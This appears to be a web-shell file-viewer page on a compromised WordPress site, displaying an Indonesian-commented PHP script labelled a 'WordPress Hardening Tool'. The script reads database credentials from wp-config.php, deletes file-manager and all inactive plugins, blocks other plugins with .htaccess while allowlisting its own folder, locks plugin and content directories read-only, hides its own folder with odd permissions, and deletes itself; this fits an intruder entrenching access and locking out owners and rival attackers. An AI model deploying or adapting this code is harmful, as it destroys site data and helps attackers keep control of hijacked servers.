HEX
Server: LiteSpeed
System: Linux standart108 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: pplae2ji7 (11089)
PHP: 8.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/wp.php
<?php
@ini_set('display_errors', 1);
@error_reporting(E_ALL);

echo "<h2>๐Ÿ”’ WordPress Hardening Tool</h2>";

$config = find_config();
if (!$config) exit("โŒ wp-config.php tidak ditemukan!");

echo "โœ… Ditemukan: <code>$config</code><br>";

harden_config($config);
clean_plugins(dirname($config));
protect_plugins_by_htaccess(dirname($config));
protect_uploads(dirname($config));
lock_wp_content(dirname($config));

// โš ๏ธ HAPUS .tmb DULU sebelum folder hardening di-lock!
delete_tmb_folders(dirname($config));

// Hapus plugin tidak aktif & lock permission
clean_inactive_plugins(dirname($config));
lock_plugins_folder(dirname($config));

// Hapus diri sendiri setelah selesai
self_destruct();

// ============ FUNCTIONS ============

function find_config() {
    $d = __DIR__;
    while ($d !== dirname($d)) {
        if (file_exists("$d/wp-config.php")) return "$d/wp-config.php";
        $d = dirname($d);
    }
    return false;
}

function harden_config($file) {
    $cfg = file_get_contents($file);
    $adds = [
        "define('DISALLOW_FILE_EDIT', true);",
        "define('DISALLOW_FILE_MODS', true);"
    ];
    $added = 0;
    foreach ($adds as $line) {
        if (strpos($cfg, $line) === false) {
            $cfg .= "\n$line";
            echo "โž• Tambah: <code>$line</code><br>";
            $added++;
        }
    }
    if ($added && is_writable($file)) {
        file_put_contents($file, $cfg);
        echo "โœ… wp-config.php diperbarui<br>";
    } else {
        echo "โ„น๏ธ Tidak ada perubahan atau file tidak bisa ditulis<br>";
    }
}

function clean_plugins($wp_root) {
    $dir = "$wp_root/wp-content/plugins";
    $bad = ['wp-file-manager', 'wpspy', 'file-manager-advanced', 
        'malicious-uploader', 'fileorganizer', 'filester', 
        'wpide', 'seooyanz', 'jejem-kletik-themes', 
        'duplicate-posttt', 'zeddd', 'wp-compat', 'wp-file-uploader',
        'file-manager', 'wp-file-manager-pro', 'wp-file-manager-light',
        'wp-advanced-file-manager', 'file-gallery', 'wp-media-folder',
        'real-media-library', 'enhanced-media-library', 'filebird',
        'happyfiles', 'folders', 'media-library-organizer'];
    
    foreach ($bad as $p) {
        $path = "$dir/$p";
        if (is_dir($path)) {
            delete_recursive($path);
            echo "๐Ÿ—‘๏ธ Plugin berbahaya dihapus: <code>$p</code><br>";
        }
    }
}

function protect_plugins_by_htaccess($wp_root) {
    $plugins_dir = "$wp_root/wp-content/plugins";
    if (!is_dir($plugins_dir)) {
        echo "โš ๏ธ Folder plugins tidak ditemukan<br>";
        return;
    }
    
    $active_plugins = get_active_plugins_from_db($wp_root);
    
    $script_path = __DIR__;
    $script_parent = dirname($script_path);
    $script_root_plugin = basename($script_parent);
    
    if (!in_array($script_root_plugin, $active_plugins)) {
        $active_plugins[] = $script_root_plugin;
        echo "๐Ÿ“ Script folder <code>$script_root_plugin</code> ditambahkan ke allowlist<br>";
    }
    
    $force_block = ['wp-file-manager', 'file-manager-advanced', 'wpspy', 'wpide'];
    $allowed = array_diff($active_plugins, $force_block);
    
    $all_folders = array_filter(glob("$plugins_dir/*"), 'is_dir');
    $all_names = array_map('basename', $all_folders);
    $blocked = array_diff($all_names, $allowed);
    
    $htaccess_rules = "# Auto-generated protection\n";
    $htaccess_rules .= "<FilesMatch \"\.(php|phtml|php3|php4|php5|phar|cgi|pl|sh|shtml|py)$\">\n";
    $htaccess_rules .= "    Order Deny,Allow\n";
    $htaccess_rules .= "    Deny from all\n";
    $htaccess_rules .= "</FilesMatch>\n";
    $htaccess_rules .= "Options -Indexes -ExecCGI\n";
    
    echo "<hr><strong>๐Ÿ”ง Membersihkan .htaccess lama...</strong><br>";
    foreach ($all_folders as $folder) {
        $htaccess = "$folder/.htaccess";
        if (file_exists($htaccess)) {
            unlink($htaccess);
            echo "   ๐Ÿงน Hapus .htaccess: <code>" . basename($folder) . "</code><br>";
        }
    }
    
    echo "<hr><strong>๐Ÿ›ก๏ธ Menerapkan proteksi .htaccess...</strong><br>";
    
    $blocked_count = 0;
    foreach ($blocked as $plugin_name) {
        $plugin_path = "$plugins_dir/$plugin_name";
        $htaccess_path = "$plugin_path/.htaccess";
        
        if (is_dir($plugin_path)) {
            if (file_put_contents($htaccess_path, $htaccess_rules)) {
                echo "   ๐Ÿ”’ BLOCKED: <code>$plugin_name</code> (tidak aktif)<br>";
                $blocked_count++;
            }
        }
    }
    
    $allowed_count = 0;
    foreach ($allowed as $plugin_name) {
        $plugin_path = "$plugins_dir/$plugin_name";
        if (is_dir($plugin_path)) {
            echo "   โœ… ALLOWED: <code>$plugin_name</code> (aktif)<br>";
            $allowed_count++;
        }
    }
    
    $root_htaccess = "$plugins_dir/.htaccess";
    if (file_exists($root_htaccess)) {
        unlink($root_htaccess);
        echo "   ๐Ÿงน .htaccess root plugins dihapus<br>";
    }
    
    echo "<hr>";
    echo "๐Ÿ“Š <strong>Ringkasan Proteksi Plugins:</strong><br>";
    echo "   โœ… Plugin AKTIF (tanpa .htaccess): $allowed_count folder<br>";
    echo "   ๐Ÿ”’ Plugin TIDAK AKTIF (dengan .htaccess): $blocked_count folder<br>";
    
    if (in_array($script_root_plugin, $allowed)) {
        echo "   โญ Folder script <code>$script_root_plugin</code> AMAN (tidak terblokir)<br>";
    }
}

function get_active_plugins_from_db($wp_root) {
    $wp_config = "$wp_root/wp-config.php";
    if (!file_exists($wp_config)) return [];
    
    $config = file_get_contents($wp_config);
    
    preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\)/", $config, $db_name);
    preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\)/", $config, $db_user);
    preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'\s*\)/", $config, $db_pass);
    preg_match("/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\)/", $config, $db_host);
    
    if (!isset($db_name[1], $db_user[1], $db_pass[1])) {
        echo "โš ๏ธ Gagal baca DB, fallback ke scan folder<br>";
        return [];
    }
    
    preg_match("/\\\$table_prefix\s*=\s*'([^']+)'/", $config, $table_prefix);
    $prefix = $table_prefix[1] ?? 'wp_';
    
    $mysqli = @new mysqli($db_host[1], $db_user[1], $db_pass[1], $db_name[1]);
    if ($mysqli->connect_error) {
        echo "โš ๏ธ Gagal konek DB, fallback ke scan folder<br>";
        return [];
    }
    
    $active_plugins = [];
    $result = $mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name = 'active_plugins'");
    
    if ($result && $row = $result->fetch_assoc()) {
        $plugins = unserialize($row['option_value']);
        if (is_array($plugins)) {
            $active_plugins = array_map(function($plugin) {
                return explode('/', $plugin)[0];
            }, $plugins);
        }
    }
    
    $result2 = $mysqli->query("SELECT option_value FROM {$prefix}options WHERE option_name = 'active_sitewide_plugins'");
    if ($result2 && $row2 = $result2->fetch_assoc()) {
        $sitewide = unserialize($row2['option_value']);
        if (is_array($sitewide)) {
            $sitewide_plugins = array_map(function($plugin) {
                return explode('/', $plugin)[0];
            }, array_keys($sitewide));
            $active_plugins = array_unique(array_merge($active_plugins, $sitewide_plugins));
        }
    }
    
    $mysqli->close();
    return $active_plugins;
}

function protect_uploads($wp_root) {
    $uploads_dir = "$wp_root/wp-content/uploads";
    if (!is_dir($uploads_dir)) return;
    
    $htaccess = "$uploads_dir/.htaccess";
    $rules = "# Proteksi eksekusi file di folder uploads
<FilesMatch \"\.(php|phtml|php3|php4|php5|phar|cgi|pl|sh|shtml|py|pyc|pyo)$\">
    Order Deny,Allow
    Deny from all
</FilesMatch>
Options -ExecCGI -Indexes";
    
    if (file_put_contents($htaccess, $rules)) {
        echo "๐Ÿ›ก๏ธ .htaccess proteksi di <code>wp-content/uploads/</code><br>";
    } else {
        echo "โŒ Gagal buat .htaccess di uploads<br>";
    }
}

function lock_wp_content($wp_root) {
    $target = "$wp_root/wp-content";
    if (!is_dir($target)) return;
    
    $skip_folders = ['uploads', 'cache', 'wflogs', 'backup'];
    
    $items = scandir($target);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = "$target/$item";
        
        if (is_dir($path) && !in_array($item, $skip_folders)) {
            @chmod($path, 0555);
            echo "๐Ÿ”’ Folder: <code>$item</code> โ†’ 555<br>";
        } elseif (is_dir($path) && in_array($item, $skip_folders)) {
            echo "โญ๏ธ Skip: <code>$item</code> (biarkan writable)<br>";
        }
    }
    
    @chmod($target, 0555);
    echo "๐Ÿ”’ <code>wp-content/</code> โ†’ 555<br>";
}

function clean_inactive_plugins($wp_root) {
    $plugins_dir = "$wp_root/wp-content/plugins";
    if (!is_dir($plugins_dir)) {
        echo "โš ๏ธ Folder plugins tidak ditemukan<br>";
        return;
    }
    
    echo "<hr><strong>๐Ÿ—‘๏ธ Membersihkan plugin TIDAK AKTIF (menghapus folder)...</strong><br>";
    
    // Dapatkan daftar plugin aktif dari database
    $active_plugins = get_active_plugins_from_db($wp_root);
    
    // Folder script (jangan dihapus)
    $current_file = realpath(__FILE__);
    $current_dir = dirname($current_file);
    $hardening_folder = dirname($current_dir);
    
    $all_plugins = glob("$plugins_dir/*");
    $deleted_count = 0;
    $kept_count = 0;
    $failed_count = 0;
    
    foreach ($all_plugins as $plugin) {
        if (!is_dir($plugin)) continue;
        $plugin_name = basename($plugin);
        
        // JANGAN hapus folder script
        if ($plugin === $hardening_folder || $plugin === $current_dir) {
            echo "โญ๏ธ [SKIP] Folder script: <code>$plugin_name</code><br>";
            @chmod($plugin, 0755);
            $kept_count++;
            continue;
        }
        
        // Cek apakah plugin aktif
        if (in_array($plugin_name, $active_plugins)) {
            echo "โœ… [AKTIF] <code>$plugin_name</code> โ†’ DIJAGA<br>";
            @chmod($plugin, 0755);
            $kept_count++;
        } else {
            // Plugin TIDAK AKTIF: HAPUS!
            echo "๐Ÿ—‘๏ธ [TIDAK AKTIF] HAPUS: <code>$plugin_name</code> ... ";
            if (delete_recursive($plugin)) {
                echo "โœ… Berhasil dihapus<br>";
                $deleted_count++;
            } else {
                echo "โŒ Gagal hapus! (coba manual)<br>";
                $failed_count++;
            }
        }
    }
    
    echo "<hr>";
    echo "๐Ÿ“Š <strong>Ringkasan Pembersihan Plugin:</strong><br>";
    echo "   ๐Ÿ—‘๏ธ Plugin dihapus (tidak aktif): <strong style='color:green'>$deleted_count</strong> folder<br>";
    echo "   โœ… Plugin dipertahankan (aktif): <strong>$kept_count</strong> folder<br>";
    if ($failed_count > 0) {
        echo "   โš ๏ธ Gagal dihapus: <strong style='color:red'>$failed_count</strong> folder (cek permission)<br>";
    }
    echo "   ๐Ÿ’ก <strong>Tips:</strong> Plugin tidak aktif otomatis dihapus untuk keamanan maksimal<br>";
}

function lock_plugins_folder($wp_root) {
    $plugins_dir = "$wp_root/wp-content/plugins";
    if (!is_dir($plugins_dir)) return;
    
    echo "<hr><strong>๐Ÿ”’ Mengunci permission folder plugins...</strong><br>";
    
    // Dapatkan daftar plugin aktif (setelah pembersihan)
    $active_plugins = get_active_plugins_from_db($wp_root);
    
    // Folder script
    $current_file = realpath(__FILE__);
    $current_dir = dirname($current_file);
    $hardening_folder = dirname($current_dir);
    
    // Set plugins folder ke 555
    @chmod($plugins_dir, 0555);
    echo "๐Ÿ”’ <code>wp-content/plugins/</code> โ†’ 555<br>";
    
    // Proses setiap plugin yang tersisa (hanya plugin aktif)
    $all_plugins = glob("$plugins_dir/*");
    $plugin_count = 0;
    
    foreach ($all_plugins as $plugin) {
        if (!is_dir($plugin)) continue;
        $plugin_name = basename($plugin);
        
        // Skip folder hardening (biarkan akses penuh)
        if ($plugin === $hardening_folder || $plugin === $current_dir) {
            echo "๐Ÿ”“ [SCRIPT] <code>$plugin_name</code> โ†’ 755 (akses penuh)<br>";
            @chmod($plugin, 0755);
            continue;
        }
        
        // Plugin aktif: set ke 555
        if (in_array($plugin_name, $active_plugins)) {
            @chmod($plugin, 0555);
            echo "๐Ÿ”’ [AKTIF] <code>$plugin_name</code> โ†’ 555<br>";
            $plugin_count++;
        } else {
            // Seharusnya tidak ada plugin tidak aktif lagi (sudah dihapus)
            // Tapi jika masih ada, hapus saja
            if (is_dir($plugin)) {
                echo "โš ๏ธ Masih ditemukan plugin tidak aktif: <code>$plugin_name</code> โ†’ mencoba hapus... ";
                if (delete_recursive($plugin)) {
                    echo "โœ… Berhasil dihapus<br>";
                } else {
                    echo "โŒ Gagal hapus, set ke 0000<br>";
                    @chmod($plugin, 0000);
                }
            }
        }
    }
    
    // Set folder hardening ke 111
    if (is_dir($hardening_folder)) {
        @chmod($hardening_folder, 0755);
        @chmod($hardening_folder, 0111);
        echo "๐Ÿ” Folder hardening: <code>" . basename($hardening_folder) . "</code> โ†’ 111 (hanya execute)<br>";
    }
    
    // Set subfolder ke 711
    if (is_dir($current_dir) && $current_dir !== $hardening_folder) {
        @chmod($current_dir, 0755);
        @chmod($current_dir, 0711);
        echo "๐Ÿ”“ Subfolder: <code>" . basename($current_dir) . "</code> โ†’ 711<br>";
    }
    
    echo "<hr>";
    echo "๐Ÿ“Š <strong>Ringkasan Final:</strong><br>";
    echo "   โœ… Plugin aktif yang dilindungi: <strong>$plugin_count</strong> plugin (permission 555)<br>";
    echo "   ๐Ÿ—‘๏ธ Semua plugin tidak aktif sudah dihapus<br>";
    echo "   โญ Folder script aman dengan permission 755/711<br>";
}

function delete_tmb_folders($wp_root) {
    echo "<br><hr><h3>๐Ÿ—‘๏ธ Menghapus SEMUA Folder .tmb</h3>";
    
    $tmb_folders = [];
    
    // ========== METHOD 1: STEP BY STEP LEVEL BY LEVEL (max 20 level) ==========
    echo "๐Ÿ” Mencari .tmb dengan metode step by step (max 20 level)...<br>";
    
    $current_dir = $wp_root;
    $depth = 0;
    $max_depth = 20;
    
    while ($current_dir !== dirname($current_dir) && $depth < $max_depth) {
        // Cek di current level (termasuk root level)
        $tmb_path = $current_dir . "/.tmb";
        if (is_dir($tmb_path) && !in_array($tmb_path, $tmb_folders)) {
            $tmb_folders[] = $tmb_path;
            echo "   ๐Ÿ“ Ditemukan di level $depth: <code>" . $tmb_path . "</code><br>";
        }
        
        // Cek di semua subfolder level ini (1 level ke bawah)
        $subdirs = @glob($current_dir . "/*", GLOB_ONLYDIR);
        if (!empty($subdirs)) {
            foreach ($subdirs as $subdir) {
                $sub_tmb = $subdir . "/.tmb";
                if (is_dir($sub_tmb) && !in_array($sub_tmb, $tmb_folders)) {
                    $tmb_folders[] = $sub_tmb;
                    echo "   ๐Ÿ“ Ditemukan di subfolder: <code>" . $sub_tmb . "</code><br>";
                }
            }
        }
        
        $current_dir = dirname($current_dir);
        $depth++;
    }
    
    // ========== METHOD 2: FIND VIA EXEC (DEEP SCAN, JIKA TERSEDIA) ==========
    if (function_exists('exec')) {
        echo "๐Ÿ” Deep scan dengan FIND command...<br>";
        @exec("find " . escapeshellarg($wp_root) . " -type d -name '.tmb' 2>/dev/null", $output);
        if (!empty($output)) {
            foreach ($output as $folder) {
                if (is_dir($folder) && !in_array($folder, $tmb_folders)) {
                    $tmb_folders[] = $folder;
                    echo "   ๐Ÿ“ Ditemukan (find): <code>" . $folder . "</code><br>";
                }
            }
        }
    }
    
    // ========== METHOD 3: RECURSIVE ITERATOR (FALLBACK JIKA EXEC TIDAK ADA) ==========
    if (empty($tmb_folders) && !function_exists('exec')) {
        echo "๐Ÿ” Deep scan dengan RecursiveIterator (fallback)...<br>";
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($wp_root, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            $counter = 0;
            foreach ($iterator as $path) {
                if ($path->isDir() && $path->getFilename() === '.tmb') {
                    $folder_path = $path->getPathname();
                    if (!in_array($folder_path, $tmb_folders)) {
                        $tmb_folders[] = $folder_path;
                        echo "   ๐Ÿ“ Ditemukan (iterator): <code>" . $folder_path . "</code><br>";
                    }
                }
                $counter++;
                // Hentikan jika sudah terlalu banyak (50rb file) untuk menghindari timeout
                if ($counter > 50000) break;
            }
        } catch (Exception $e) {
            echo "   โš ๏ธ Error iterator: " . $e->getMessage() . "<br>";
        }
    }
    
    // Hapus duplikat
    $tmb_folders = array_unique($tmb_folders);
    
    if (empty($tmb_folders)) {
        echo "โœ… Tidak ditemukan folder .tmb<br>";
        return;
    }
    
    echo "<hr>";
    $deleted = 0;
    $failed = 0;
    
    foreach ($tmb_folders as $folder) {
        echo "๐Ÿ“ Menghapus: <code>" . $folder . "</code><br>";
        
        // Ubah permission dulu biar bisa dihapus
        @chmod($folder, 0777);
        
        // Hapus isi folder dulu
        $files = @scandir($folder);
        if ($files !== false) {
            foreach ($files as $file) {
                if ($file === '.' || $file === '..') continue;
                $file_path = $folder . '/' . $file;
                @chmod($file_path, 0777);
                if (is_dir($file_path)) {
                    delete_recursive($file_path);
                } else {
                    @unlink($file_path);
                }
            }
        }
        
        // Hapus folder .tmb nya
        if (@rmdir($folder)) {
            echo "   โœ… Berhasil dihapus<br>";
            $deleted++;
        } else {
            // Fallback pake delete_recursive
            if (delete_recursive($folder)) {
                echo "   โœ… Berhasil dihapus (fallback)<br>";
                $deleted++;
            } else {
                echo "   โŒ Gagal dihapus! Coba manual: rm -rf " . $folder . "<br>";
                $failed++;
            }
        }
    }
    
    echo "<hr>";
    echo "๐Ÿ“Š <strong>Hasil Pembersihan .tmb:</strong><br>";
    echo "   โœ… Berhasil dihapus: $deleted folder<br>";
    if ($failed > 0) {
        echo "   โŒ Gagal dihapus: $failed folder<br>";
    }
    if ($deleted > 0) {
        echo "โœ… Semua folder .tmb yang ditemukan sudah diproses!<br>";
    }
}

function delete_recursive($d) {
    if (!is_dir($d)) return @unlink($d);
    
    $files = @scandir($d);
    if ($files === false) return false;
    
    foreach ($files as $f) {
        if ($f === '.' || $f === '..') continue;
        $path = "$d/$f";
        if (is_dir($path)) {
            delete_recursive($path);
        } else {
            @chmod($path, 0777);
            @unlink($path);
        }
    }
    @chmod($d, 0777);
    return @rmdir($d);
}

function self_destruct() {
    echo "<br><hr>๐Ÿงน Membersihkan file security script... ";
    
    $file = __FILE__;
    
    @chmod($file, 0777);
    
    // Delay 1 detik agar output sempat terbaca
    sleep(1);
    
    if (@unlink($file)) {
        echo "โœ… Selesai. File telah dihapus.";
    } else {
        echo "โŒ Gagal hapus otomatis. Silakan hapus manual: <code>$file</code>";
    }
}
?>